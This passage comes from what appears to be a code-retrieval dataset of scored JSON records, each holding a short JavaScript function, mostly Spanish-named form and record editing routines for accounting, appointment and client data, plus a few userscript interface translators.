this.bi.const_id = this.a_corrientes[index].cuenta_id;\n this.bi.const_id2 = this.a_corrientes[index].cuenta_id2;\n this.activo.a_corriente.cuenta_id = this.a_corrientes[index].cuenta_id;\n this.activo.a_corriente.saldo = this.a_corrientes[index].saldo;\n this.activo.a_corriente.cuenta_id2 = this.a_corrientes[index].cuenta_id2;\n this.activo.a_corriente.saldo2 = this.a_corrientes[index].saldo2;\n if (this.a_corrientes[index].resta == 'si') {\n this.activo.a_corriente.double = true;\n }\n // this.activo.a_corriente.edit = true;\n // this.registro.a_corriente = index;\n // this.bi.const_id = this.a_corrientes[index].cuenta_id;\n // this.activo.a_corriente.cuenta_id = this.a_corrientes[index].cuenta_id;\n // this.activo.a_corriente.saldo = this.a_corrientes[index].saldo;\n $('#bg-transaccion').modal('show');\n $('#nav-bg-activo-corriente-tab').tab('show')\n \n }", "title": "" }, { "docid": "e989316a95627772af785766a5dc3c93", "score": "0.60059553", "text": "function func_edit()\n\t{\n\t\tvar self = this;\n\t\tedit_helper({self: self, clone: null});\n\t}", "title": "" }, { "docid": "2679fbb734550c60913d7790f19764f9", "score": "0.60030043", "text": "function inicioComponenteEdit(paramTitulo, paramForm) { \n const titulo = paramTitulo;\n\n const form = paramForm;\n\n let item = getFromLS('autoToEdit');\n\n const atributos = ['marca', 'modelo', 'año', 'color', 'patente'];\n\n const tipoDelAtributo = ['text', 'text', 'number', 'text', 'text'];\n\n const actualizarItem = function() {\n // Get position from LS\n const position = getFromLS('position');\n\n // Save data from inputs\n item = createAuto();\n\n // Get list from LS\n let lista = getFromLS('listaAutos');\n\n // Save item\n lista[position] = item;\n \n // Save listaUsuario in LS\n saveInLS('listaAutos', lista);\n \n alert('Fue modificado exitosamente');\n\n // Relocate\n window.location.href = './abmGenerico.html';\n }\n\n renderizarHTML_Edit(divEditaABM, titulo, atributos, tipoDelAtributo, actualizarItem, form);\n}", "title": "" }, { "docid": "6a75c46a9cb54ccdb415537450e30ee5", "score": "0.6002965", "text": "function editTableRegistroBloqueos() {\n\n var nameTable = \"RegistroBloqueos\";\n var nameCols = crearListaColumnas();\n var activaAdd = true;\n var activaDelete = true;\n\n return buildTableTools(nameTable, nameCols, activaAdd, activaDelete);\n}", "title": "" }, { "docid": "b7fd5790e340a291beb569360fb01ab2", "score": "0.5982214", "text": "function CambiarEstadoEditables(estado)\n{\n // 2.- CAMBIAR ESTADO DE LAS CAJAS DE TEXTO\n // lista de controles de texto editables\n var arrTxt=new Array(\"txtTarjeta\",\"lstMeses\",\"lstYears\",\"txtCodSeguridad\",\"txtCentro\",\n \"txtTPVOri\",\"txtFechaOri\",\"txtIdOpOri\",\"txtAutOri\");\n\n var frm = document.forms[0];\n\n for (i=0;i<frm.elements.length;i++)\n {\n\t var objCtrl = frm.elements[i];\n\t if(objCtrl!=null && objCtrl.id!=null)\n\t {\n\t //alert('debug: frm.elements['+i+'].id='+objCtrl.id);\n\t for( j=0; j<arrTxt.length; j++ )\n\t {\n\t if(objCtrl.id.indexOf(arrTxt[j])>=0)\n\t {\n\t //alert('debug: frm.elements['+i+'].id='+objCtrl.id+' & frm.elements['+i+'].disabled='+objCtrl.disabled);\n\t if(objCtrl.disabled != estado)objCtrl.disabled = estado;\n\t }\n\t }\n\t }\n }\n}", "title": "" }, { "docid": "9262db4db96518a8fe8a89117a9c3856", "score": "0.5965668", "text": "rowEdit() {\n const myCurrentEditRecord = this.parentEl.querySelector(this.myCurrentEditRecord);\n // make data row for modat edit\n const EditRec = {};\n for (const col of this.columns) {\n EditRec[col.name] = '';\n }\n if (myCurrentEditRecord) {\n // take data for edit in modal\n const { identColumn, currentRecID } = this.getIDStructure();\n const rec = this.rows.find((o) => o[identColumn] === currentRecID);\n for (let k = 0; k < this.columns.length; k++) {\n EditRec[this.columns[k].name] = rec[this.columns[k].name];\n }\n this.showEditModal(EditRec, 'Редактирование записи');\n } else {\n this.showEditModal(EditRec, 'Ввод новой записи');\n }\n }", "title": "" }, { "docid": "fb5cb7c6d60de19a658e5af7ac0f41ab", "score": "0.59635687", "text": "function cargarCgg_gem_tipo_salarioCtrls(){\nif(inRecordCgg_gem_tipo_salario){\ntxtCgtsa_codigo.setValue(inRecordCgg_gem_tipo_salario.get('CGTSA_CODIGO'));\ntxtCgtsa_nombre.setValue(inRecordCgg_gem_tipo_salario.get('CGTSA_NOMBRE'));\ntxtCgtsa_descripcion.setValue(inRecordCgg_gem_tipo_salario.get('CGTSA_DESCRIPCION'));\nisEdit = true;\n}}", "title": "" }, { "docid": "cd36b97ac9a8d8f140a603ec4ac340f4", "score": "0.595063", "text": "function editar(e) {\n console.log(\"editando\");\n var fila = e.target;\n var idx = fila.attributes[\"data-id\"].value;\n document.getElementById('idx').value = idx;\n document.getElementById('apellido').value = datos[idx][0];\n document.getElementById('nombre').value = datos[idx][1];\n document.getElementById('fenac').value = datos[idx][2];\n document.getElementById('apellido').focus();\n}", "title": "" }, { "docid": "17e52f1ca4f96c7303920720d9be8925", "score": "0.5919079", "text": "cancelarEditCompra(){\n this.compra.fecha_c ='';\n this.compra.detalle ='';\n this.compra.proveedor ='';\n this.compra.base_im ='';\n this.compra.porcentaje ='';\n this.compra.v_retenido ='';\n this.compra.iva ='';\n this.compra.ret_10 ='';\n this.compra.ret_20 ='';\n this.compra.ret_30 ='';\n this.compra.ret_70 ='';\n this.compra.ret_100 ='';\n this.compra.edit =false;\n \n }", "title": "" }, { "docid": "aaf1aaeef65c583db5747da09f8193c3", "score": "0.58907914", "text": "agregar_F(nodo) {\n var aux = this.raiz.anterior\n aux.siguiente = this.raiz.anterior = nodo\n nodo.anterior = aux\n nodo.siguiente = this.raiz \n }", "title": "" }, { "docid": "f776b263072f5c6843b8f7cc54defa9f", "score": "0.5888825", "text": "edit(){\n\n }", "title": "" }, { "docid": "c370c70e99f3ed95ae5a0d8178f8c663", "score": "0.58797336", "text": "function editar(projeto) {\n\t\t\tvm.manter.projeto = angular.copy(projeto);\n\t\t\tif (vm.manter.projeto.funcionarios) {\n\t\t\t\tvm.pessoasSelecionadas = {};\n\t\t\t\tfor (var i = 0; i < vm.manter.projeto.funcionarios.length; i++) {\n\t\t\t\t\tvm.pessoasSelecionadas[vm.manter.projeto.funcionarios[i].id] = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (vm.manter.projeto.gerente) {\n\t\t\t\tvm.gerenteSelecionado = vm.manter.projeto.gerente.id;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "f18708c1273452bc7ac4fdc1bd634139", "score": "0.5861052", "text": "function updateRegistro() {\n var fields = ['dueno', 'moneda', 'tipo', 'id'];\n\n fields.forEach(function(field) {\n registro.currentRegistro[field] = registro.editedRegistro[field]; //Copying the values from editedRegistro to currentRegistro\n });\n registro.resetForm();\n }", "title": "" }, { "docid": "a1950de64e0ffe212292745933a34e7f", "score": "0.5834999", "text": "function createEdit(miruta, pojo , campos){\n $('.modal').css('visibility','visible');\n $('body').css('overflow', 'hidden');\n $('.modal-box').remove();\n $('.modal').append('<div class=\"modal-box modal-' + pojo +'\"><div class=\"modal-form\"><h1 class=\"header-modal\">New ' + pojo +'</h1></div></div>');\n \n var box = $('.modal-form');\n \n if(pojo == 'actividad'){\n createInputActividad(campos, pojo);\n }else{\n createInputGenerico(pojo , campos)\n }\n \n insertDefaultData(campos);\n \n box.append('<button id=\"edit\" class=\"btn\">Edit</button>');\n var inictialheight = $('.modal-form').outerHeight();\n \n //resizeModal();\n addControllModalEdit(miruta, campos);\n \n }", "title": "" }, { "docid": "c2db4258346f3b7cefea7de214ddbaa4", "score": "0.5834885", "text": "function doEditCitizen() {\r\n allElements = document.getElementById('editCitizenForm');\r\n tmp = allElements.children[0];\r\n tmp.innerHTML=tmp.innerHTML.replace(/Mail:/,\"Email:\");\r\n tmp = allElements.children[4];\r\n tmp.innerHTML=tmp.innerHTML.replace(/New password:/,\"Nouveau mot de passe:\");\r\n tmp = allElements.children[8];\r\n tmp.innerHTML=tmp.innerHTML.replace(/New password repeat:/,\"Confirmer le mot de passe:\");\r\n tmp = allElements.children[12];\r\n tmp.innerHTML=tmp.innerHTML.replace(/Old password:/,\"Ancien Mot de passe :\");\r\n tmp = allElements.children[16];\r\n tmp.innerHTML=tmp.innerHTML.replace(/New avatar:/,\"Nouvel avatar:\");\r\n tmp = allElements.childNodes[30];\r\n tmp.nodeValue=tmp.nodeValue.replace(\"max. size\",\"Taille max. :\");\r\n \r\n replaceInputByValue({\"Edit citizen\":[\"Edit citizen\",\"Editer citoyen\"]});\r\n}", "title": "" }, { "docid": "bb34ab117ad6bc694591ef7fe5b42e81", "score": "0.5820621", "text": "function buscarCampanya() {\n\n var tipoOperacion = get(\"frmContenido.cbCodTipoOper\");\n\n set(\"frmContenido.accion\", \"buscarCampanya\");\n set(\"frmContenido.conectorAction\", \"LPOperacionReclamos\");\n set(\"frmContenido.oidTipoOperacion\", tipoOperacion);\n eval(\"frmContenido\").oculto = \"S\";\n enviaSICC(\"frmContenido\", null, null, \"N\");\n}", "title": "" }, { "docid": "bbc60fce3d41e1f6ef2c75abce838eff", "score": "0.5808024", "text": "editCompraFuera(index){\n this.compra.edit =true;\n this.registro_id = index;\n this.compra.fecha_c = this.t_compras[index].fecha_c;\n this.compra.detalle = this.t_compras[index].detalle;\n this.compra.proveedor = this.t_compras[index].proveedor;\n this.compra.base_im = this.t_compras[index].base_im;\n this.compra.porcentaje = this.t_compras[index].porcentaje;\n this.compra.v_retenido = this.t_compras[index].v_retenido;\n this.compra.iva = this.t_compras[index].iva;\n this.compra.ret_10 = this.t_compras[index].ret_10;\n this.compra.ret_20 = this.t_compras[index].ret_20;\n this.compra.ret_30 = this.t_compras[index].ret_30;\n this.compra.ret_70 = this.t_compras[index].ret_70;\n this.compra.ret_100 = this.t_compras[index].ret_100;\n \n $('#modal-retencion').modal('show');\n $('#ht-retencion-compra-tab').tab('show');\n }", "title": "" }, { "docid": "2dcf801d8d1fd7e5f714c38a7a425f2a", "score": "0.57946277", "text": "editPatrimonio(index){\n this.limpiar();\n this.patrimonio.edit = true;\n this.registro.patrimonio = index;\n this.bi.const_id = this.patrimonios[index].cuenta_id;\n this.patrimonio.cuenta_id = this.patrimonios[index].cuenta_id;\n this.patrimonio.saldo = this.patrimonios[index].saldo;\n $('#bih-transaccion').modal('show');\n $('#nav-bih-patrimonio-tab').tab('show')\n \n }", "title": "" }, { "docid": "ae3a77d42875a1d312ea84d3db7c3143", "score": "0.5783296", "text": "function cargarCgg_tct_registroCtrls() {\n if (inRecordCgg_tct_registro) {\n txtCtreg_codigo.setValue(inRecordCgg_tct_registro.get('CTREG_CODIGO'));\n tmpCarpt_codigo_origen = inRecordCgg_tct_registro.get('CARPT_CODIGO');\n cbxCarpt_codigo.setValue(inRecordCgg_tct_registro.get('AEROPUER_ORIGEN'));\n tmpCarpt_codigo_destino = inRecordCgg_tct_registro.get('CGG_CARPT_CODIGO');\n cbxCgg_carpt_codigo.setValue(inRecordCgg_tct_registro.get('AEROPUER_DESTINO'));\n tmpCraln_codigo = inRecordCgg_tct_registro.get('CRALN_CODIGO');\n cbxCraln_codigo.setValue(inRecordCgg_tct_registro.get('AEROLINEA'));\n txtCtgtr_codigo.setValue(inRecordCgg_tct_registro.get('CTGTR_CODIGO'));\n numCtreg_numero.setValue(inRecordCgg_tct_registro.get('CTREG_NUMERO'));\n dtCtreg_fecha_preregistro.setValue(truncDate(inRecordCgg_tct_registro.get('CTREG_FECHA_PREREGISTRO')));\n dtCtreg_fecha_ingreso.setValue(truncDate(inRecordCgg_tct_registro.get('CTREG_FECHA_INGRESO')));\n numCtreg_codigo_barras.setValue(inRecordCgg_tct_registro.get('CTGTR_NUMERO'));\n dtCtreg_fecha_salida.setValue(truncDate(inRecordCgg_tct_registro.get('CTREG_FECHA_SALIDA')));\n\n gsCgg_tct_actividad_reg.reload({\n params:{\n inCtgtr_codigo:txtCtgtr_codigo.getValue(),\n format:TypeFormat.JSON\n }\n });\n gsCgg_tct_tipo_hospedaje_reg.reload({\n params:{\n inCtgtr_codigo:txtCtgtr_codigo.getValue(),\n format:TypeFormat.JSON\n }\n });\n\n gsCgg_res_persona.baseParams.inCtgtr_codigo = txtCtgtr_codigo.getValue();\n gsCgg_res_persona.reload();\n\n btnImprimirCgg_tct_registro.enable();\n isEdit = true;\n\n function CallBackInfoGrupo(inServerResponse){\n var tmpInfo = Ext.util.JSON.decode(inServerResponse);\n if(tmpInfo[0].TOTAL_TRANS > 0){\n alert(tituloCgg_tct_registro, 'Se ha deshabilitado la fecha de ingreso por que existe un transe\\u00fante en el grupo.');\n dtCtreg_fecha_ingreso.setReadOnly(true);\n }\n pnlfsAeropuerto.setDisabled(tmpInfo[0].IMPRESAS > 0 || inPrintMode);\n if(tmpInfo[0].IMPRESAS > 0 || inPrintMode){\n tmpIsLock = true;\n }\n }\n var param = new SOAPClientParameters();\n param.add('inCtgtr_codigo', inRecordCgg_tct_registro.data.CTGTR_CODIGO);\n param.add('format','JSON');\n SOAPClient.invoke(URL_WS+'Cgg_tct_grupo_turista', 'selectInformation', param, true, CallBackInfoGrupo);\n }\n }", "title": "" }, { "docid": "fad311cca17c4a96e23eecd7dcd6af94", "score": "0.5777594", "text": "editAcorriente(index){\n this.limpiar();\n this.activo.a_corriente.edit = true;\n this.registro.a_corriente = index;\n this.bi.const_id = this.a_corrientes[index].cuenta_id;\n this.activo.a_corriente.cuenta_id = this.a_corrientes[index].cuenta_id;\n this.activo.a_corriente.saldo = this.a_corrientes[index].saldo;\n $('#bih-transaccion').modal('show');\n $('#nav-bih-activo-corriente-tab').tab('show')\n \n }", "title": "" }, { "docid": "78234171c2b54bb6080afdc9c305726b", "score": "0.5757796", "text": "editNoAcorriente(index){\n this.activo.a_nocorriente.edit = true;\n this.registro.a_nocorriente = index;\n this.bi.const_id = this.a_nocorrientes[index].cuenta_id;\n this.bi.const_id2 = this.a_nocorrientes[index].cuenta_id2;\n this.activo.a_nocorriente.cuenta_id = this.a_nocorrientes[index].cuenta_id;\n this.activo.a_nocorriente.saldo = this.a_nocorrientes[index].saldo;\n this.activo.a_nocorriente.cuenta_id2 = this.a_nocorrientes[index].cuenta_id2;\n this.activo.a_nocorriente.saldo2 = this.a_nocorrientes[index].saldo2;\n if (this.a_nocorrientes[index].resta == 'si') {\n this.activo.a_nocorriente.double = true;\n }\n $('#bg-transaccion').modal('show');\n $('#nav-bg-activo-no-corriente-tab').tab('show'); \n }", "title": "" }, { "docid": "34902c0ae44ec38d78dac246a68b3f54", "score": "0.5748545", "text": "function editar() {\n let idFuncionario = this.dataset.id;\n let funcionario = buscarFuncionarioPorId(idFuncionario);\n setFuncionario(funcionario);\n location.href = \"modificarFuncionarios.html\";\n}", "title": "" }, { "docid": "1309d482b2441c7fe89c5cb299468ac1", "score": "0.57448786", "text": "function doEditCitizen() {\r\n\tallElements = document.getElementById('editCitizenForm');\r\n\ttmp = allElements.children[0];\r\n\ttmp.innerHTML=tmp.innerHTML.replace(/Mail:/,\"Email:\");\r\n\ttmp = allElements.children[4];\r\n\ttmp.innerHTML=tmp.innerHTML.replace(/New password:/,\"Новий пароль:\");\r\n\ttmp = allElements.children[8];\r\n\ttmp.innerHTML=tmp.innerHTML.replace(/New password repeat:/,\"Повторіть новий пароль:\");\r\n\ttmp = allElements.children[12];\r\n\ttmp.innerHTML=tmp.innerHTML.replace(/Old password:/,\"Старий пароль:\");\r\n\ttmp = allElements.children[16];\r\n\ttmp.innerHTML=tmp.innerHTML.replace(/New avatar:/,\"Новий аватар:\");\r\n\ttmp = allElements.childNodes[30];\r\n\ttmp.nodeValue=tmp.nodeValue.replace(\"max. size\",\"макс. розмір:\");\r\n\t\r\n allElements = document.getElementsByTagName('TD');\r\n tmp = allElements[19];\r\n\ttmp.innerHTML=tmp.innerHTML.replace(/Citizen/,\"Громадянин\");\r\n\treplaceInputByValue({\"Edit citizen\":[\"Edit citizen\",\"Редагувати громадянина\"]});\r\n}", "title": "" }, { "docid": "32e09dceef9f44cc6d9e7db584014041", "score": "0.57437587", "text": "function recuperar(id) {\n var active = dataBase.result;\n var data = active.transaction([\"alumnos\"], \"readonly\");\n var object = data.objectStore(\"alumnos\");\n var index = object.index(\"id_alumno\");\n var request = index.get(id);\n\n $(\"#cargas\").show();\n $(\"#busquedaregistro\").hide();\n\n\n request.onsuccess = function () {\n var result = request.result;\n if (result !== undefined) {\n\n document.querySelector('#id').value = result.id;\n document.querySelector('#cedula').value = result.cedula;\n document.querySelector('#nombre').value = result.nombre;\n document.querySelector('#apellido').value = result.apellido;\n document.querySelector('#fechanaci').value = result.fechanaci;\n document.querySelector('#edad').value = result.edad;\n document.querySelector('#correo').value = result.correo;\n document.querySelector('#sexo').value = result.sexo;\n document.querySelector('#tipoestudio').value = result.tipoestudio;\n document.querySelector('#cel').value = result.cel;\n\n $('#eliminar').attr(\"disabled\", false);\n $('#registrar').attr(\"disabled\", true);\n $('#editar').attr(\"disabled\", false);\n $('#cedula').attr(\"disabled\", true);\n $(\"#nombre\").focus();\n\n }\n };\n}", "title": "" }, { "docid": "b5a6b711ce9abeab6faa537cdfc633b9", "score": "0.5737792", "text": "function validarEDITAccion(){\r\n\treturn (comprobarTexto(editarAccion.IdAccion, editarAccion.IdAccion.size) &&\r\n\t\t\tcomprobarTexto(editarAccion.NombreAccion, editarAccion.NombreAccion.size)&&\r\n\t\t\tcomprobarTexto(editarAccion.DescripAccion, editarAccion.DescripAccion.size));\r\n}", "title": "" }, { "docid": "ec2893fb1cf0b1b7d39195c0cdbb57a5", "score": "0.57361555", "text": "function effacerAjoutModification() {\n b('tbVilleAjout','')\n b('tbBudgetAjout','')\n b('lblMessageAjout','')\n}", "title": "" }, { "docid": "b4996fc982e5efb9173d0a88aa320194", "score": "0.5733935", "text": "function nuevaCita(e) {\n e.preventDefault();\n\n // Extraer la información del objeto de cita\n const {mascota, propietario, telefono, fecha, hora, sintomas} = citaObj;\n // validar\n if (mascota === '' || propietario === '' || telefono === '' || fecha === '' ||hora === '' || sintomas === '') {\n ui.imprimirAlerta('Todos los campos son obligatorios', 'error');\n return;\n } \n\n // Modo Edición\n if (editando) {\n ui.imprimirAlerta('Editado Correctamente');\n\n // Pasar el objeto de la cita a Edición\n adminitrarCitas.editarCita({...citaObj});\n\n // Cambiar el texto del botón. De crear Guardar cambios a Cita\n formulario.querySelector('button[type=\"submit\"]').textContent = ' Crear Cita';\n //Quitar modo Edición\n editando = false; // para que se reinicie el formulario\n } else {\n // console.log('Modo Modo Nueva Cita');\n // Generar una nueva cita\n // el objeto citaObj esta como variable constante pero se puede modificar sus propiedades, salvo que es te sellado\n citaObj.id = Date.now();\n // una vez creado el id esp posible crear una nueva cita\n\n // Creando una nueva cita\n // console.log(citaObj);\n\n // esta línea de código hace que el objeto crea copias iguales por cada registro\n // esto pasa porque el objeto global citaObj, le esta pasando una referencia completa del objeto.\n // Para que no sucede tiene que pasar una copia del objeto global citaObj\n // adminitrarCitas.agregarCita(citaObj);\n\n adminitrarCitas.agregarCita({...citaObj});\n // Mensaje de agregado Correctamente\n ui.imprimirAlerta('Se agregó Correctamente');\n }\n\n // y reiniciar objeto citaObj\n reiniciarObjeto();\n // Reiniciar formulario\n formulario.reset();\n\n // Mostrar el HTML de las citas, agregando otro método que se agrega a la clase UI\n ui.imprimirCitas(adminitrarCitas);// Se necesita la referencia o instancia adminitrarCitas, es el que tiene el arreglo con las citas\n}", "title": "" }, { "docid": "b08d395b19a973834ee548bb8a80e7b3", "score": "0.5730941", "text": "function editarRecuperarTextareaPlanCirugia (){\n\t\n\t$(\"#editarPlanCirugia\").val($(\"#editarContenidoTextoTexarea_planCirugia\").html());\n\t\n\t$(\"#editarContenidoEditorPlanCirugia\").hide(\"slower\");\n\t\n\t$(\"#editarPlanCirugia\").show(\"slower\");\n\t$(\"#label_editarPlanCirugia\").show(\"slower\");\n\t\n}", "title": "" }, { "docid": "742474fad7a8fbfd18f602e471464c56", "score": "0.5719126", "text": "editAcorriente(index){\n this.activo.a_corriente.edit = true;\n this.registro.a_corriente = index;\n this.bi.const_id = this.a_corrientes[index].cuenta_id;\n this.activo.a_corriente.cuenta_id = this.a_corrientes[index].cuenta_id;\n this.activo.a_corriente.saldo = this.a_corrientes[index].saldo;\n $('#biv-transaccion').modal('show');\n $('#nav-biv-activo-corriente-tab').tab('show')\n \n }", "title": "" }, { "docid": "38bd78acc80954f08f8431a09f62d01e", "score": "0.5713861", "text": "function fu_cargaGrillaRRHH(cursorRRHH) {\r\n rrhhListaValidos = cursorRRHH;\r\n objListTemp = [];\r\n rrhhListaValidos.forEach(function (item, num) {\r\n if (item.NUM_DOCU === undefined || item.NUM_DOCU === '') {\r\n //console.debug(item);\r\n } else {\r\n objListTemp.push(item);\r\n }\r\n arrEspecialidadDet=item.ESPECIALIDADDETALLE.split(',');\r\n });\r\n rrhhListaValidos = objListTemp;\r\n //SE GENERA OBJETO PARA CUANDO NO SE EDITEN\r\n var arrTemp = [];\r\n rrhhListaValidos.forEach(function (item1, num1) {\r\n var arrObjEspRRHH = [];\r\n item1.ESPECIALIDAD.split(',').forEach(function (item, num) {\r\n var objEspRRHH = {};\r\n objEspRRHH.IDCOLEGPROF = item;\r\n objEspRRHH.RNE = item1.RNE.split(',')[num];\r\n arrObjEspRRHH.push(objEspRRHH);\r\n //console.log(item);\r\n });\r\n item1.ObjEspSel = arrObjEspRRHH;\r\n arrTemp.push(item1);\r\n });\r\n\r\n rrhhListaValidos = arrTemp;\r\n rrhhListaValidos = Ordenamiento(rrhhListaValidos, 'NRO', 'ASC');\r\n MostrarPopRRHHValidos();\r\n}", "title": "" }, { "docid": "280aaf8354548cbf76adc94c9799f524", "score": "0.57137233", "text": "function enregisterFiche() {\n var tabObj = recup_formulaire(document.ficheForm, 'obj');\n var tabCli = recup_formulaire(document.ficheForm, 'cli');\n tabObj['obj_marque'] = document.ficheForm.elements.namedItem('obj_marque_' + idRamdom).value;\n delete tabObj['obj_marque_' + idRamdom];\n\n if (tabObj['obj_prix_depot']) {\n tabObj['obj_prix_depot'] += \" &#8364;\";\n } else {\n tabObj['obj_prix_depot'] = \"A renseigner le jour du dépôt au plus tard.\";\n }\n if (tabCli['cli_code_postal']) {\n tabCli['cli_code_postal'] = \" [\" + tabCli['cli_code_postal'] + \"]\";\n }\n var tabData = Object.assign({}, tabObj, tabCli);\n x_get_publiHtml(tabToString(tabData), 'modal_confirm_create.html', display_messageConfirm);\n return false;\n}", "title": "" }, { "docid": "99b703f9a41f0ca7e49e285e1cd331e3", "score": "0.5700567", "text": "function click_registro(registro){\n //en la tabla, esta el registro en formato JSON reemplazando las \" por @& para poder ponerlo en un\n //solo parametro, al recibirlo aqui, volvemos a hacerlo formato json y posteriormente un arreglo\n registro = JSON.parse(registro.replace(/@&/g, \"\\\"\"));\n $(\"#id_especialidad\").val(registro.Id_Especialidad);\n $(\"#e_especialidad\").val(registro.Especialidad);\n}", "title": "" }, { "docid": "f2ac57c115fbe9e1309f3378bb930073", "score": "0.5696019", "text": "function edit(id) {\n //A but pédagogique\n //let edit_id = $(`#${id}`).data('id');\n let prenom = $(`#${id}`).parent().siblings('.prenom').text();\n let email = $(`#${id}`).parent().siblings('.email').text();\n let ville = $(`#${id}`).parent().siblings('.ville').text();\n\n $(\"#id\").val(id);\n $(\"#prenom\").val(prenom);\n $(\"#email\").val(email);\n $(\"#ville\").val(ville);\n\n $(\"#submit_ajouter\").hide();\n $(\"#submit_modifier\").show();\n}", "title": "" }, { "docid": "6f4de2d9ae6ae44bae6d799ee4b1aed5", "score": "0.5693072", "text": "function registrator(){\n var r0 = document.getElementById('r0').placeholder = addZeroHex(R0);\n var r1 = document.getElementById('r1').placeholder = addZeroHex(R1);\n var r2 = document.getElementById('r2').placeholder = addZeroHex(R2);\n var r3 = document.getElementById('r3').placeholder = addZeroHex(R3);\n var mbr = document.getElementById('mbr').placeholder = addZeroHex(MBR);\n var imm = document.getElementById('imm').placeholder = addZeroHex(IMM);\n var ir = document.getElementById('ir').placeholder = addZeroHex(IR);\n var ro0 = document.getElementById('ro0').placeholder = addZeroHex(RO0);\n var ro1 = document.getElementById('ro1').placeholder = addZeroHex(RO1);\n var ro2 = document.getElementById('ro2').placeholder = addZeroHex(RO2);\n var pc = document.getElementById('pc').placeholder = PC;\n var mar = document.getElementById('mar').placeholder = addZeroHex(MAR);\n}", "title": "" }, { "docid": "490b8d13bfc7652fc9fc2cd1e738178a", "score": "0.5692825", "text": "function modificar() {\n listaPersonas[posicionActual].nombre = document.getElementById(\"nombre\").value;\n listaPersonas[posicionActual].apellidos = document.getElementById(\"apellidos\").value;\n listaPersonas[posicionActual].nacimiento = document.getElementById(\"nacimiento\").value;\n listaPersonas[posicionActual].telefono = document.getElementById(\"telefono\").value;\n actualizarResumen();\n}", "title": "" }, { "docid": "e27c682ec08e8340d291081ea592974b", "score": "0.5691289", "text": "function initEdit(miruta){\n $.ajax({\n url : \"index.php\",\n method : \"POST\",\n data : {\n ruta : miruta,\n accion:'getatributes'\n },\n dataType:'json'\n }).done(function(campos){\n createEdit(miruta, tablaActual , campos);\n });\n }", "title": "" }, { "docid": "cfcfdfa3ece92b4118c85b0e3344f16c", "score": "0.5690912", "text": "function edit() {\n\n }", "title": "" }, { "docid": "30880cb70e27dd028b1c9e907a71607b", "score": "0.5684185", "text": "function ripristinaEditabilitaCapitolo(type) {\n var capData = causaleDataByType[type].capitolo;\n $(capData.fieldAnno).prop(\"readonly\", false);\n $(capData.fieldNumeroCapitolo).prop(\"readonly\", false);\n $(capData.fieldNumeroArticolo).prop(\"readonly\", false);\n $(capData.fieldNumeroUEB).prop(\"readonly\", false);\n\n pulsanteCompilazioneGuidataNonEditabile(type, false);\n }", "title": "" }, { "docid": "6241cde0708fab3cb68054eac5b589cd", "score": "0.56791073", "text": "editPatrimonio(index){\n this.patrimonio.edit = true;\n this.registro.patrimonio = index;\n this.bi.const_id = this.patrimonios[index].cuenta_id;\n this.patrimonio.cuenta_id = this.patrimonios[index].cuenta_id;\n this.patrimonio.saldo = this.patrimonios[index].saldo;\n $('#biv-transaccion').modal('show');\n $('#nav-biv-patrimonio-tab').tab('show')\n \n }", "title": "" }, { "docid": "9b048aed7fa6bed27a8c3c845e898b9e", "score": "0.56621575", "text": "editPNocorriente(index){\n this.limpiar();\n this.pasivo.p_nocorriente.edit = true;\n this.registro.p_nocorriente = index;\n this.bi.const_id = this.p_nocorrientes[index].cuenta_id;\n this.pasivo.p_nocorriente.cuenta_id = this.p_nocorrientes[index].cuenta_id;\n this.pasivo.p_nocorriente.saldo = this.p_nocorrientes[index].saldo;\n $('#bih-transaccion').modal('show');\n $('#nav-bih-pasivo-no-corriente-tab').tab('show')\n \n }", "title": "" }, { "docid": "f5f3769dcc92ce58cba98c1d84aa2f48", "score": "0.5653262", "text": "function ModificarCliente(){\n\tvar posicion=$(this).attr(\"pos\");\n\tcolClientes[posicion].Nombre=$(\"#txtCliente\").val();\n\tcolClientes[posicion].RUT=$(\"#numRUT\").val();\n\tcolClientes[posicion].Telefono=$(\"#numTelefono\").val();\n\tcolClientes[posicion].Email=$(\"#txtEmail\").val();\n\t$(\"#CliRes\").html(\"Cliente modificado\");\n\t$(\"#txtCliente\").val(\"\");\n\t$(\"#numRUT\").val(\"\");\n\t$(\"#numTelefono\").val(\"\");\n\t$(\"#txtEmail\").val(\"\");\n\tAgregarTablas(\"Clientes\");\n\t$(\"#btnAddCli\").show();\n}", "title": "" }, { "docid": "48de85b094699c9aef6f3af9fe549753", "score": "0.56497616", "text": "editCredito(index){\n this.credito.edit =true;\n this.registro_id = index;\n this.credito.fecha = this.c_creditos[index].fecha;\n this.credito.detalle = this.c_creditos[index].detalle;\n this.credito.saldo = this.c_creditos[index].saldo;\n \n $('#nav-bih-conciliacion-credito-tab').tab('show');\n \n \n }", "title": "" }, { "docid": "92733a6afedcea04f1923cf546c51834", "score": "0.56412476", "text": "function editarRecuperarTextareaObservacionesCirugia(){\n\t\n\t$(\"#editarObservacionesCirugia\").val($(\"#editarContenidoTextoTexarea_observacionesCirugia\").html());\n\t\n\t$(\"#editarContenidoEditorObservacionesCirugia\").hide(\"slower\");\n\t\n\t$(\"#editarObservacionesCirugia\").show(\"slower\");\n\t$(\"#label_editarObservacionesCirugia\").show(\"slower\");\n\t\n}", "title": "" }, { "docid": "7ce8eaa36c0c726f1b94ec7746cddbb5", "score": "0.5640481", "text": "editarLuz(luz,p,d,es){\n\t \tluz.getEntidad().setNormal(p);\n\t luz.getEntidad().setIntensidadDifusa(d);\n\t luz.getEntidad().setIntensidadEspecular(es);\n\t \n\t}", "title": "" }, { "docid": "c4c8df787f874f91d7c62c02d632411f", "score": "0.5637872", "text": "function validarEDITFunc(){\r\n\treturn (comprobarTextoSin(editarFuncionalidad.IdFuncionalidad, editarFuncionalidad.IdFuncionalidad.size) &&\r\n\t\t\tcomprobarTexto(editarFuncionalidad.NombreFuncionalidad, editarFuncionalidad.NombreFuncionalidad.size)&&\r\n\t\t\tcomprobarTexto(editarFuncionalidad.DescripFuncionalidad, editarFuncionalidad.DescripFuncionalidad.size));\r\n}", "title": "" }, { "docid": "827fc0f86fc298fc580d514c98eaf04f", "score": "0.563687", "text": "editPcorriente(index){\n this.limpiar();\n this.pasivo.p_corriente.edit = true;\n this.registro.p_corriente = index;\n this.bi.const_id = this.p_corrientes[index].cuenta_id;\n this.pasivo.p_corriente.cuenta_id = this.p_corrientes[index].cuenta_id;\n this.pasivo.p_corriente.saldo = this.p_corrientes[index].saldo;\n $('#bih-transaccion').modal('show');\n $('#nav-bih-pasivo-corriente-tab').tab('show')\n \n }", "title": "" }, { "docid": "3eecf0103f403093d8716f120440e30f", "score": 